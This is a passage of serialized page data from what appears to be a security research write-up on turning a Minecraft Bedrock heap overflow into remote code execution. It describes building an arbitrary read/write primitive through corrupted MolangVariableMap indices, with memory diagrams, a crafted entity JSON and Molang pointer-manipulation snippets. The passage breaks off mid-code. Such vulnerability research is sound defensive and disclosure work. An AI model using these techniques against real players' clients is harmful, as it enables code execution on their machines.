",{"type":26,"tag":83,"props":15482,"children":15484},{"className":15483},[],[15485],{"type":32,"value":15202},{"type":32,"value":15487},". ",{"type":26,"tag":83,"props":15489,"children":15491},{"className":15490},[],[15492],{"type":32,"value":15493},"Entity.MolangIndexMap[global_index]",{"type":32,"value":15495}," stores the per-entity index (slot) of variable ",{"type":26,"tag":83,"props":15497,"children":15499},{"className":15498},[],[15500],{"type":32,"value":14769},{"type":32,"value":180},{"type":26,"tag":39,"props":15503,"children":15504},{},[15505,15507,15512,15514,15519,15521,15526,15528,15533,15535,15541,15543,15548],{"type":32,"value":15506},"Importantly, we found that indices in the ",{"type":26,"tag":83,"props":15508,"children":15510},{"className":15509},[],[15511],{"type":32,"value":15380},{"type":32,"value":15513}," are trusted and the client does not validate that a per-entity index actually lies within the bounds of that entity’s ",{"type":26,"tag":83,"props":15515,"children":15517},{"className":15516},[],[15518],{"type":32,"value":15202},{"type":32,"value":15520},". This means that if we overwrite the index of variable ",{"type":26,"tag":83,"props":15522,"children":15524},{"className":15523},[],[15525],{"type":32,"value":14769},{"type":32,"value":15527}," (an example, it can be any variable) with the chunk overlap and make it out-of-bounds for that entity’s ",{"type":26,"tag":83,"props":15529,"children":15531},{"className":15530},[],[15532],{"type":32,"value":15202},{"type":32,"value":15534},", we could read from and write to ",{"type":26,"tag":83,"props":15536,"children":15538},{"className":15537},[],[15539],{"type":32,"value":15540},"address + 0x38",{"type":32,"value":15542}," through ",{"type":26,"tag":83,"props":15544,"children":15546},{"className":15545},[],[15547],{"type":32,"value":15372},{"type":32,"value":180},{"type":26,"tag":607,"props":15550,"children":15552},{"id":15551},"building-a-molang-arbitrary-rw-primitive",[15553],{"type":32,"value":15554},"Building a Molang Arbitrary R/W Primitive",{"type":26,"tag":39,"props":15556,"children":15557},{},[15558,15560,15565,15567,15572],{"type":32,"value":15559},"We needed some pointer inside a heap-sprayable object that we could use to build an arbitrary read/write primitive in Molang. Eventually, we came up with the thought of using internal pointers of ",{"type":26,"tag":83,"props":15561,"children":15563},{"className":15562},[],[15564],{"type":32,"value":15232},{"type":32,"value":15566}," - specifically, of ",{"type":26,"tag":83,"props":15568,"children":15570},{"className":15569},[],[15571],{"type":32,"value":15202},{"type":32,"value":15573}," vector.",{"type":26,"tag":39,"props":15575,"children":15576},{},[15577,15579,15584,15586,15591,15593,15598,15600,15605],{"type":32,"value":15578},"Because every entity object is heap-allocated and contains a ",{"type":26,"tag":83,"props":15580,"children":15582},{"className":15581},[],[15583],{"type":32,"value":15202},{"type":32,"value":15585}," vector, we realised we might be able to overwrite a variable index so it reads the ",{"type":26,"tag":83,"props":15587,"children":15589},{"className":15588},[],[15590],{"type":32,"value":12342},{"type":32,"value":15592}," pointer of the ",{"type":26,"tag":83,"props":15594,"children":15596},{"className":15595},[],[15597],{"type":32,"value":15202},{"type":32,"value":15599}," vector belonging to an entity object placed just next the ",{"type":26,"tag":83,"props":15601,"children":15603},{"className":15602},[],[15604],{"type":32,"value":15202},{"type":32,"value":15606}," allocated buffer.",{"type":26,"tag":207,"props":15608,"children":15610},{"code":15609},"      +-------------+ \u003C--+                   \n+---> | variable.a  |    |                   \n|     +-------------+    |                   \n|     | variable.b  |    |                   \n|     +-------------+    +- MolangVariableMap allocated buffer\n|     |    . . .    |    |                   \n|     +-------------+    |                   \n|     | variable.f  |    |                   \n|     +-------------+ \u003C--+--+                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     +------+------+       +- Entity Object \n+-----+ buf  | len  |       |                \n      +------+------+       |                \n      | cap  |      |       |                \n      +------+      |       |                \n      +-------------+ \u003C-----+                                       \n",[15611],{"type":26,"tag":83,"props":15612,"children":15613},{"__ignoreMap":8},[15614],{"type":32,"value":15609},{"type":26,"tag":39,"props":15616,"children":15617},{},[15618,15620,15625,15627,15633,15635,15640,15641,15647,15648,15653,15655,15660,15662,15667,15669,15674,15676,15681,15683,15688,15690,15695,15697,15703,15705,15710,15712,15717],{"type":32,"value":15619},"In the scenario above, the ",{"type":26,"tag":83,"props":15621,"children":15623},{"className":15622},[],[15624],{"type":32,"value":15380},{"type":32,"value":15626}," would map ",{"type":26,"tag":83,"props":15628,"children":15630},{"className":15629},[],[15631],{"type":32,"value":15632},"variable.a",{"type":32,"value":15634}," -> index ",{"type":26,"tag":83,"props":15636,"children":15638},{"className":15637},[],[15639],{"type":32,"value":1883},{"type":32,"value":7599},{"type":26,"tag":83,"props":15642,"children":15644},{"className":15643},[],[15645],{"type":32,"value":15646},"variable.b",{"type":32,"value":15634},{"type":26,"tag":83,"props":15649,"children":15651},{"className":15650},[],[15652],{"type":32,"value":185},{"type":32,"value":15654},", and so on. If we overwrite the index for ",{"type":26,"tag":83,"props":15656,"children":15658},{"className":15657},[],[15659],{"type":32,"value":15632},{"type":32,"value":15661}," with a value that is out-of-bounds for the ",{"type":26,"tag":83,"props":15663,"children":15665},{"className":15664},[],[15666],{"type":32,"value":15202},{"type":32,"value":15668},", it can instead index the ",{"type":26,"tag":83,"props":15670,"children":15672},{"className":15671},[],[15673],{"type":32,"value":12342},{"type":32,"value":15675}," field of the entity object above. Reading ",{"type":26,"tag":83,"props":15677,"children":15679},{"className":15678},[],[15680],{"type":32,"value":15632},{"type":32,"value":15682}," will then return the pointer stored at offset ",{"type":26,"tag":83,"props":15684,"children":15686},{"className":15685},[],[15687],{"type":32,"value":15134},{"type":32,"value":15689}," from the start of the ",{"type":26,"tag":83,"props":15691,"children":15693},{"className":15692},[],[15694],{"type":32,"value":15202},{"type":32,"value":15696}," (which in this diagram corresponds to ",{"type":26,"tag":83,"props":15698,"children":15700},{"className":15699},[],[15701],{"type":32,"value":15702},"variable.f",{"type":32,"value":15704},"), and writing to ",{"type":26,"tag":83,"props":15706,"children":15708},{"className":15707},[],[15709],{"type":32,"value":15632},{"type":32,"value":15711}," will overwrite that pointer - corrupting ",{"type":26,"tag":83,"props":15713,"children":15715},{"className":15714},[],[15716],{"type":32,"value":15702},{"type":32,"value":180},{"type":26,"tag":39,"props":15719,"children":15720},{},[15721,15723,15728,15729,15735,15737,15742,15744,15750,15752,15757,15759,15764,15766,15772,15774,15780,15782,15787],{"type":32,"value":15722},"To leak the address of the Minecraft executable we could increment ",{"type":26,"tag":83,"props":15724,"children":15726},{"className":15725},[],[15727],{"type":32,"value":15632},{"type":32,"value":7051},{"type":26,"tag":83,"props":15730,"children":15732},{"className":15731},[],[15733],{"type":32,"value":15734},"variable.a += 8",{"type":32,"value":15736},"), which advances the pointer used for ",{"type":26,"tag":83,"props":15738,"children":15740},{"className":15739},[],[15741],{"type":32,"value":15702},{"type":32,"value":15743}," by 8 bytes. The Molang script would repeat this until it finds a vtable pointer in the heap. At that point we can write arbitrary values into writable regions of the Minecraft process by setting ",{"type":26,"tag":83,"props":15745,"children":15747},{"className":15746},[],[15748],{"type":32,"value":15749},"variable.a = variable.exe_leak + \u003Coffset>",{"type":32,"value":15751}," - this updates the ",{"type":26,"tag":83,"props":15753,"children":15755},{"className":15754},[],[15756],{"type":32,"value":15702},{"type":32,"value":15758}," pointer to our chosen address, and writing to ",{"type":26,"tag":83,"props":15760,"children":15762},{"className":15761},[],[15763],{"type":32,"value":15702},{"type":32,"value":15765},", for example ",{"type":26,"tag":83,"props":15767,"children":15769},{"className":15768},[],[15770],{"type":32,"value":15771},"variable.f = 1337",{"type":32,"value":15773},", writes the value ",{"type":26,"tag":83,"props":15775,"children":15777},{"className":15776},[],[15778],{"type":32,"value":15779},"1337",{"type":32,"value":15781}," to offset ",{"type":26,"tag":83,"props":15783,"children":15785},{"className":15784},[],[15786],{"type":32,"value":15134},{"type":32,"value":15788}," from that calculated address.",{"type":26,"tag":631,"props":15790,"children":15792},{"id":15791},"testing-the-idea",[15793],{"type":32,"value":15794},"Testing the Idea",{"type":26,"tag":39,"props":15796,"children":15797},{},[15798,15800,15805,15807,15812,15814,15819],{"type":32,"value":15799},"We tested the idea by manually adding a pointer to the start of ",{"type":26,"tag":83,"props":15801,"children":15803},{"className":15802},[],[15804],{"type":32,"value":15202},{"type":32,"value":15806}," and modifying the index of a variable so that it indexed this out-of-bounds pointer. It ",{"type":26,"tag":65,"props":15808,"children":15809},{},[15810],{"type":32,"value":15811},"almost",{"type":32,"value":15813}," worked - below is the state of the ",{"type":26,"tag":83,"props":15815,"children":15817},{"className":15816},[],[15818],{"type":32,"value":15202},{"type":32,"value":15820},"'s allocated buffer before the Molang script executes:",{"type":26,"tag":39,"props":15822,"children":15823},{},[15824],{"type":26,"tag":6468,"props":15825,"children":15827},{"alt":9464,"src":15826},"/posts/minecraft-heap-overflow-to-rce/image9.png",[],{"type":26,"tag":39,"props":15829,"children":15830},{},[15831],{"type":32,"value":15832},"And this is after execution:",{"type":26,"tag":39,"props":15834,"children":15835},{},[15836],{"type":26,"tag":6468,"props":15837,"children":15839},{"alt":9464,"src":15838},"/posts/minecraft-heap-overflow-to-rce/image10.png",[],{"type":26,"tag":39,"props":15841,"children":15842},{},[15843],{"type":32,"value":15844},"For reference, this is what the relevant entity json file containing our Molang looks like:",{"type":26,"tag":207,"props":15846,"children":15850},{"code":15847,"language":15848,"meta":8,"className":15849,"style":8},"{\n  \"format_version\": \"1.10.0\",\n  \"minecraft:client_entity\": {\n    \"description\": {\n      \"identifier\": \"minecraft:leash_knot\",\n\n      [...]\n        \n      \"scripts\": {\n        \"initialize\": [\n          \"variable.a = 0;\",\n          \"variable.b = 0;\",\n          \"variable.c = 0;\",\n          [...]\n        ],\n        \"pre_animation\": [\n          \"variable.a = 2.310732e-27;\"\n        ]\n      },\n    }\n  }\n}\n","json","language-json shiki shiki-themes slack-dark",[15851],{"type":26,"tag":83,"props":15852,"children":15853},{"__ignoreMap":8},[15854,15861,15882,15895,15907,15928,15935,15944,15951,15963,15976,15988,16000,16012,16028,16036,16048,16056,16064,16072,16079,16087],{"type":26,"tag":217,"props":15855,"children":15856},{"class":7028,"line":7029},[15857],{"type":26,"tag":217,"props":15858,"children":15859},{"style":7048},[15860],{"type":32,"value":10033},{"type":26,"tag":217,"props":15862,"children":15863},{"class":7028,"line":6770},[15864,15869,15873,15878],{"type":26,"tag":217,"props":15865,"children":15866},{"style":7054},[15867],{"type":32,"value":15868},"  \"format_version\"",{"type":26,"tag":217,"props":15870,"children":15871},{"style":7048},[15872],{"type":32,"value":14785},{"type":26,"tag":217,"props":15874,"children":15875},{"style":7338},[15876],{"type":32,"value":15877},"\"1.10.0\"",{"type":26,"tag":217,"props":15879,"children":15880},{"style":7048},[15881],{"type":32,"value":10953},{"type":26,"tag":217,"props":15883,"children":15884},{"class":7028,"line":6779},[15885,15890],{"type":26,"tag":217,"props":15886,"children":15887},{"style":7054},[15888],{"type":32,"value":15889},"  \"minecraft:client_entity\"",{"type":26,"tag":217,"props":15891,"children":15892},{"style":7048},[15893],{"type":32,"value":15894},": {\n",{"type":26,"tag":217,"props":15896,"children":15897},{"class":7028,"line":7140},[15898,15903],{"type":26,"tag":217,"props":15899,"children":15900},{"style":7054},[15901],{"type":32,"value":15902},"    \"description\"",{"type":26,"tag":217,"props":15904,"children":15905},{"style":7048},[15906],{"type":32,"value":15894},{"type":26,"tag":217,"props":15908,"children":15909},{"class":7028,"line":7165},[15910,15915,15919,15924],{"type":26,"tag":217,"props":15911,"children":15912},{"style":7054},[15913],{"type":32,"value":15914},"      \"identifier\"",{"type":26,"tag":217,"props":15916,"children":15917},{"style":7048},[15918],{"type":32,"value":14785},{"type":26,"tag":217,"props":15920,"children":15921},{"style":7338},[15922],{"type":32,"value":15923},"\"minecraft:leash_knot\"",{"type":26,"tag":217,"props":15925,"children":15926},{"style":7048},[15927],{"type":32,"value":10953},{"type":26,"tag":217,"props":15929,"children":15930},{"class":7028,"line":7178},[15931],{"type":26,"tag":217,"props":15932,"children":15933},{"emptyLinePlaceholder":17},[15934],{"type":32,"value":7817},{"type":26,"tag":217,"props":15936,"children":15937},{"class":7028,"line":7389},[15938],{"type":26,"tag":217,"props":15939,"children":15941},{"style":15940},"--shiki-default:#F44747",[15942],{"type":32,"value":15943},"      [...]\n",{"type":26,"tag":217,"props":15945,"children":15946},{"class":7028,"line":7406},[15947],{"type":26,"tag":217,"props":15948,"children":15949},{"style":7048},[15950],{"type":32,"value":15020},{"type":26,"tag":217,"props":15952,"children":15953},{"class":7028,"line":7439},[15954,15959],{"type":26,"tag":217,"props":15955,"children":15956},{"style":7054},[15957],{"type":32,"value":15958},"      \"scripts\"",{"type":26,"tag":217,"props":15960,"children":15961},{"style":7048},[15962],{"type":32,"value":15894},{"type":26,"tag":217,"props":15964,"children":15965},{"class":7028,"line":7487},[15966,15971],{"type":26,"tag":217,"props":15967,"children":15968},{"style":7054},[15969],{"type":32,"value":15970},"        \"initialize\"",{"type":26,"tag":217,"props":15972,"children":15973},{"style":7048},[15974],{"type":32,"value":15975},": [\n",{"type":26,"tag":217,"props":15977,"children":15978},{"class":7028,"line":7524},[15979,15984],{"type":26,"tag":217,"props":15980,"children":15981},{"style":7338},[15982],{"type":32,"value":15983},"          \"variable.a = 0;\"",{"type":26,"tag":217,"props":15985,"children":15986},{"style":7048},[15987],{"type":32,"value":10953},{"type":26,"tag":217,"props":15989,"children":15990},{"class":7028,"line":7553},[15991,15996],{"type":26,"tag":217,"props":15992,"children":15993},{"style":7338},[15994],{"type":32,"value":15995},"          \"variable.b = 0;\"",{"type":26,"tag":217,"props":15997,"children":15998},{"style":7048},[15999],{"type":32,"value":10953},{"type":26,"tag":217,"props":16001,"children":16002},{"class":7028,"line":7570},[16003,16008],{"type":26,"tag":217,"props":16004,"children":16005},{"style":7338},[16006],{"type":32,"value":16007},"          \"variable.c = 0;\"",{"type":26,"tag":217,"props":16009,"children":16010},{"style":7048},[16011],{"type":32,"value":10953},{"type":26,"tag":217,"props":16013,"children":16014},{"class":7028,"line":7621},[16015,16020,16024],{"type":26,"tag":217,"props":16016,"children":16017},{"style":7048},[16018],{"type":32,"value":16019},"          [",{"type":26,"tag":217,"props":16021,"children":16022},{"style":15940},[16023],{"type":32,"value":13251},{"type":26,"tag":217,"props":16025,"children":16026},{"style":7048},[16027],{"type":32,"value":13256},{"type":26,"tag":217,"props":16029,"children":16030},{"class":7028,"line":7672},[16031],{"type":26,"tag":217,"props":16032,"children":16033},{"style":7048},[16034],{"type":32,"value":16035},"        ],\n",{"type":26,"tag":217,"props":16037,"children":16038},{"class":7028,"line":7681},[16039,16044],{"type":26,"tag":217,"props":16040,"children":16041},{"style":7054},[16042],{"type":32,"value":16043},"        \"pre_animation\"",{"type":26,"tag":217,"props":16045,"children":16046},{"style":7048},[16047],{"type":32,"value":15975},{"type":26,"tag":217,"props":16049,"children":16050},{"class":7028,"line":7754},[16051],{"type":26,"tag":217,"props":16052,"children":16053},{"style":7338},[16054],{"type":32,"value":16055},"          \"variable.a = 2.310732e-27;\"\n",{"type":26,"tag":217,"props":16057,"children":16058},{"class":7028,"line":7784},[16059],{"type":26,"tag":217,"props":16060,"children":16061},{"style":7048},[16062],{"type":32,"value":16063},"        ]\n",{"type":26,"tag":217,"props":16065,"children":16066},{"class":7028,"line":7802},[16067],{"type":26,"tag":217,"props":16068,"children":16069},{"style":7048},[16070],{"type":32,"value":16071},"      },\n",{"type":26,"tag":217,"props":16073,"children":16074},{"class":7028,"line":7811},[16075],{"type":26,"tag":217,"props":16076,"children":16077},{"style":7048},[16078],{"type":32,"value":9754},{"type":26,"tag":217,"props":16080,"children":16081},{"class":7028,"line":7820},[16082],{"type":26,"tag":217,"props":16083,"children":16084},{"style":7048},[16085],{"type":32,"value":16086},"  }\n",{"type":26,"tag":217,"props":16088,"children":16089},{"class":7028,"line":7844},[16090],{"type":26,"tag":217,"props":16091,"children":16092},{"style":7048},[16093],{"type":32,"value":7184},{"type":26,"tag":39,"props":16095,"children":16096},{},[16097,16099,16104,16106,16111,16113,16118],{"type":32,"value":16098},"As shown, the pointer of a variable at offset ",{"type":26,"tag":83,"props":16100,"children":16102},{"className":16101},[],[16103],{"type":32,"value":15134},{"type":32,"value":16105}," was modified and the core concept works. During ",{"type":26,"tag":83,"props":16107,"children":16109},{"className":16108},[],[16110],{"type":32,"value":15090},{"type":32,"value":16112}," copy, pointers of some other variables above offset ",{"type":26,"tag":83,"props":16114,"children":16116},{"className":16115},[],[16117],{"type":32,"value":15134},{"type":32,"value":16119}," were removed, but this is fine as we control these variables and can simply not update them during execution. However, we discovered other issues with this approach.",{"type":26,"tag":39,"props":16121,"children":16122},{},[16123],{"type":32,"value":16124},"As mentioned earlier, the only number type in Molang is a 32-bit float, which causes two major problems:",{"type":26,"tag":2040,"props":16126,"children":16127},{},[16128,16141],{"type":26,"tag":2044,"props":16129,"children":16130},{},[16131,16133,16139],{"type":32,"value":16132},"The pointer increment is inconsistent because of ASLR. If the lower 32 bits of the address are larger than ",{"type":26,"tag":83,"props":16134,"children":16136},{"className":16135},[],[16137],{"type":32,"value":16138},"FLT_MAX",{"type":32,"value":16140},", the value becomes an invalid float causing the increment operation to fail.",{"type":26,"tag":2044,"props":16142,"children":16143},{},[16144,16146,16151,16153,16158,16159,16164,16166,16171],{"type":32,"value":16145},"As noted before, during assignment, ",{"type":26,"tag":83,"props":16147,"children":16149},{"className":16148},[],[16150],{"type":32,"value":15090},{"type":32,"value":16152}," fields are copied, and the ",{"type":26,"tag":83,"props":16154,"children":16156},{"className":16155},[],[16157],{"type":32,"value":15127},{"type":32,"value":15183},{"type":26,"tag":83,"props":16160,"children":16162},{"className":16161},[],[16163],{"type":32,"value":15189},{"type":32,"value":16165},". Since our source ",{"type":26,"tag":83,"props":16167,"children":16169},{"className":16168},[],[16170],{"type":32,"value":15090},{"type":32,"value":16172}," (calculation rvalue) only has the lower 32 bits populated (due to the 32-bit float type), the upper 32 bits of the destination address are always erased.",{"type":26,"tag":39,"props":16174,"children":16175},{},[16176],{"type":32,"value":16177},"Because of these issues, this idea alone wouldn’t work. We needed to either adjust our approach or come up with an entirely new one.",{"type":26,"tag":631,"props":16179,"children":16181},{"id":16180},"expanding-the-idea",[16182],{"type":32,"value":16183},"Expanding the Idea",{"type":26,"tag":39,"props":16185,"children":16186},{},[16187,16189,16195,16197,16202,16204,16210,16212,16217],{"type":32,"value":16188},"As mentioned earlier, the ",{"type":26,"tag":83,"props":16190,"children":16192},{"className":16191},[],[16193],{"type":32,"value":16194},"type",{"type":32,"value":16196}," field of ",{"type":26,"tag":83,"props":16198,"children":16200},{"className":16199},[],[16201],{"type":32,"value":15090},{"type":32,"value":16203}," is a ",{"type":26,"tag":83,"props":16205,"children":16207},{"className":16206},[],[16208],{"type":32,"value":16209},"uint32_t",{"type":32,"value":16211},". During assignment, the upper 32 bits are not touched and therefore remain uninitialized. This can be observed in the debugger screenshot above - the 32 bits directly below the ",{"type":26,"tag":83,"props":16213,"children":16215},{"className":16214},[],[16216],{"type":32,"value":15127},{"type":32,"value":16218}," field remain unchanged before and after Molang execution.",{"type":26,"tag":39,"props":16220,"children":16221},{},[16222,16224,16229],{"type":32,"value":16223},"Because of this, we thought that we could corrupt two variables instead of just one. The plan was to modify the lower 32 bits of a variable pointer using one corrupted variable, and then restore the upper 32 bits with another corrupted variable pointing to the ",{"type":26,"tag":83,"props":16225,"children":16227},{"className":16226},[],[16228],{"type":32,"value":15202},{"type":32,"value":16230},"’s allocated buffer + 4.",{"type":26,"tag":39,"props":16232,"children":16233},{},[16234,16236,16241,16243,16248,16250,16255,16256,16262],{"type":32,"value":16235},"In the example below, ",{"type":26,"tag":83,"props":16237,"children":16239},{"className":16238},[],[16240],{"type":32,"value":15632},{"type":32,"value":16242}," points to ",{"type":26,"tag":83,"props":16244,"children":16246},{"className":16245},[],[16247],{"type":32,"value":15202},{"type":32,"value":16249},", while ",{"type":26,"tag":83,"props":16251,"children":16253},{"className":16252},[],[16254],{"type":32,"value":15646},{"type":32,"value":16242},{"type":26,"tag":83,"props":16257,"children":16259},{"className":16258},[],[16260],{"type":32,"value":16261},"MolangVariableMap + 4",{"type":32,"value":1473},{"type":26,"tag":207,"props":16264,"children":16266},{"code":16265},"                         variable.f pointer     \n                                 |              \n                   +-------------+-------------+\n                   v                           v\n                                                \n                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[16267],{"type":26,"tag":83,"props":16268,"children":16269},{"__ignoreMap":8},[16270],{"type":32,"value":16265},{"type":26,"tag":39,"props":16272,"children":16273},{},[16274,16276,16281,16282,16287,16289,16294,16296,16301,16303,16308],{"type":32,"value":16275},"Here, the ",{"type":26,"tag":83,"props":16277,"children":16279},{"className":16278},[],[16280],{"type":32,"value":15127},{"type":32,"value":16196},{"type":26,"tag":83,"props":16283,"children":16285},{"className":16284},[],[16286],{"type":32,"value":15632},{"type":32,"value":16288}," starts at the lower 32 bits of the ",{"type":26,"tag":83,"props":16290,"children":16292},{"className":16291},[],[16293],{"type":32,"value":15702},{"type":32,"value":16295}," pointer, while ",{"type":26,"tag":83,"props":16297,"children":16299},{"className":16298},[],[16300],{"type":32,"value":15646},{"type":32,"value":16302}," starts at the upper 32 bits. This means we can store the upper 32 bits of the ",{"type":26,"tag":83,"props":16304,"children":16306},{"className":16305},[],[16307],{"type":32,"value":15702},{"type":32,"value":16309}," pointer in a separate variable:",{"type":26,"tag":207,"props":16311,"children":16313},{"code":16312},"variable.saved_upper_32 = variable.b;\n",[16314],{"type":26,"tag":83,"props":16315,"children":16316},{"__ignoreMap":8},[16317],{"type":32,"value":16312},{"type":26,"tag":39,"props":16319,"children":16320},{},[16321],{"type":32,"value":16322},"Then we can modify the lower 32 bits of the pointer:",{"type":26,"tag":207,"props":16324,"children":16326},{"code":16325},"variable.a = variable.a + itof(0x8);\n",[16327],{"type":26,"tag":83,"props":16328,"children":16329},{"__ignoreMap":8},[16330],{"type":32,"value":16325},{"type":26,"tag":39,"props":16332,"children":16333},{},[16334],{"type":32,"value":16335},"After this operation, the upper 32 bits are cleared while the lower bits are adjusted:",{"type":26,"tag":207,"props":16337,"children":16339},{"code":16338},"                   +-------------+-------------+\n                   | a8 bb cc dd | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[16340],{"type":26,"tag":83,"props":16341,"children":16342},{"__ignoreMap":8},[16343],{"type":32,"value":16338},{"type":26,"tag":39,"props":16345,"children":16346},{},[16347,16349,16354],{"type":32,"value":16348},"Since the 32 bits directly below the ",{"type":26,"tag":83,"props":16350,"children":16352},{"className":16351},[],[16353],{"type":32,"value":15127},{"type":32,"value":16355}," field remain untouched during assignment, we can simply restore the upper bits:",{"type":26,"tag":207,"props":16357,"children":16359},{"code":16358},"variable.b = variable.saved_upper_32;\n",[16360],{"type":26,"tag":83,"props":16361,"children":16362},{"__ignoreMap":8},[16363],{"type":32,"value":16358},{"type":26,"tag":39,"props":16365,"children":16366},{},[16367,16369,16374],{"type":32,"value":16368},"Now ",{"type":26,"tag":83,"props":16370,"children":16372},{"className":16371},[],[16373],{"type":32,"value":15702},{"type":32,"value":16375}," pointer is restored and we've incremented it by 8, achieving the desired state:",{"type":26,"tag":207,"props":16377,"children":16379},{"code":16378},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                    \n+-------------+                                 \n|    . . .    |                                 \n",[16380],{"type":26,"tag":83,"props":16381,"children":16382},{"__ignoreMap":8},[16383],{"type":32,"value":16378},{"type":26,"tag":39,"props":16385,"children":16386},{},[16387,16389,16394],{"type":32,"value":16388},"This bypasses the issue of the upper 32 bits being cleared, but raises another question: how do we find a pointer to ",{"type":26,"tag":83,"props":16390,"children":16392},{"className":16391},[],[16393],{"type":32,"value":16261},{"type":32,"value":16395}," on the heap?",{"type":26,"tag":39,"props":16397,"children":16398},{},[16399,16401,16406,16408,16414],{"type":32,"value":16400},"Additionally, adding 8 to ",{"type":26,"tag":83,"props":16402,"children":16404},{"className":16403},[],[16405],{"type":32,"value":15632},{"type":32,"value":16407}," in the example above wouldn’t work because ",{"type":26,"tag":83,"props":16409,"children":16411},{"className":16410},[],[16412],{"type":32,"value":16413},"0xddccbba0",{"type":32,"value":16415}," is not a valid float. So the first issue still remains unresolved.",{"type":26,"tag":631,"props":16417,"children":16419},{"id":16418},"the-final-approach",[16420],{"type":32,"value":16421},"The Final Approach",{"type":26,"tag":39,"props":16423,"children":16424},{},[16425,16427,16432,16434,16440],{"type":32,"value":16426},"We realized that instead of having the second pointer at ",{"type":26,"tag":83,"props":16428,"children":16430},{"className":16429},[],[16431],{"type":32,"value":16261},{"type":32,"value":16433},", we could instead have it at ",{"type":26,"tag":83,"props":16435,"children":16437},{"className":16436},[],[16438],{"type":32,"value":16439},"MolangVariableMap + 2",{"type":32,"value":16441},", which would resolve both of our issues.",{"type":26,"tag":39,"props":16443,"children":16444},{},[16445,16447,16452,16453,16458],{"type":32,"value":16446},"Let’s revisit the previous example, but this time ",{"type":26,"tag":83,"props":16448,"children":16450},{"className":16449},[],[16451],{"type":32,"value":15646},{"type":32,"value":16242},{"type":26,"tag":83,"props":16454,"children":16456},{"className":16455},[],[16457],{"type":32,"value":16439},{"type":32,"value":1473},{"type":26,"tag":207,"props":16460,"children":16462},{"code":16461},"                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[16463],{"type":26,"tag":83,"props":16464,"children":16465},{"__ignoreMap":8},[16466],{"type":32,"value":16461},{"type":26,"tag":39,"props":16468,"children":16469},{},[16470,16472,16477],{"type":32,"value":16471},"With this setup, we can calculate any address relative to ",{"type":26,"tag":83,"props":16473,"children":16475},{"className":16474},[],[16476],{"type":32,"value":15702},{"type":32,"value":16478}," by first saving the upper 48 bits of the address:",{"type":26,"tag":207,"props":16480,"children":16482},{"code":16481},"variable.saved_upper_48 = variable.b;\n",[16483],{"type":26,"tag":83,"props":16484,"children":16485},{"__ignoreMap":8},[16486],{"type":32,"value":16481},{"type":26,"tag":39,"props":16488,"children":16489},{},[16490,16492,16498,16500,16506],{"type":32,"value":16491},"At this point, ",{"type":26,"tag":83,"props":16493,"children":16495},{"className":16494},[],[16496],{"type":32,"value":16497},"variable.saved_upper_48",{"type":32,"value":16499}," holds the value ",{"type":26,"tag":83,"props":16501,"children":16503},{"className":16502},[],[16504],{"type":32,"value":16505},"0x1c80ddcc",{"type":32,"value":180},{"type":26,"tag":39,"props":16508,"children":16509},{},[16510],{"type":32,"value":16511},"To fix our earlier problem of being unable to increment invalid float values, we can simply clear the upper 48 bits:",{"type":26,"tag":207,"props":16513,"children":16515},{"code":16514},"variable.b = 0;\n",[16516],{"type":26,"tag":83,"props":16517,"children":16518},{"__ignoreMap":8},[16519],{"type":32,"value":16514},{"type":26,"tag":39,"props":16521,"children":16522},{},[16523],{"type":32,"value":16524},"Resulting in the following state:",{"type":26,"tag":207,"props":16526,"children":16528},{"code":16527},"                   +-------------+-------------+\n                   | a0 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[16529],{"type":26,"tag":83,"props":16530,"children":16531},{"__ignoreMap":8},[16532],{"type":32,"value":16527},{"type":26,"tag":39,"props":16534,"children":16535},{},[16536,16538,16543,16545,16551,16553,16558],{"type":32,"value":16537},"Now, the value of ",{"type":26,"tag":83,"props":16539,"children":16541},{"className":16540},[],[16542],{"type":32,"value":15632},{"type":32,"value":16544}," only spans 16 bits (",{"type":26,"tag":83,"props":16546,"children":16548},{"className":16547},[],[16549],{"type":32,"value":16550},"0xbba0",{"type":32,"value":16552}," specifically), which is always a valid float since it’s far below ",{"type":26,"tag":83,"props":16554,"children":16556},{"className":16555},[],[16557],{"type":32,"value":16138},{"type":32,"value":180},{"type":26,"tag":39,"props":16560,"children":16561},{},[16562,16564,16569],{"type":32,"value":16563},"We can now safely adjust the lower 16 bits of the pointer by incrementing ",{"type":26,"tag":83,"props":16565,"children":16567},{"className":16566},[],[16568],{"type":32,"value":15632},{"type":32,"value":1473},{"type":26,"tag":207,"props":16571,"children":16572},{"code":16325},[16573],{"type":26,"tag":83,"props":16574,"children":16575},{"__ignoreMap":8},[16576],{"type":32,"value":16325},{"type":26,"tag":39,"props":16578,"children":16579},{},[16580],{"type":32,"value":16581},"Which results in:",{"type":26,"tag":207,"props":16583,"children":16585},{"code":16584},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[16586],{"type":26,"tag":83,"props":16587,"children":16588},{"__ignoreMap":8},[16589],{"type":32,"value":16584},{"type":26,"tag":39,"props":16591,"children":16592},{},[16593],{"type":32,"value":16594},"If we only wanted to increment the pointer by 8, we could finish by restoring the upper 48 bits:",{"type":26,"tag":207,"props":16596,"children":16598},{"code":16597},"variable.b = 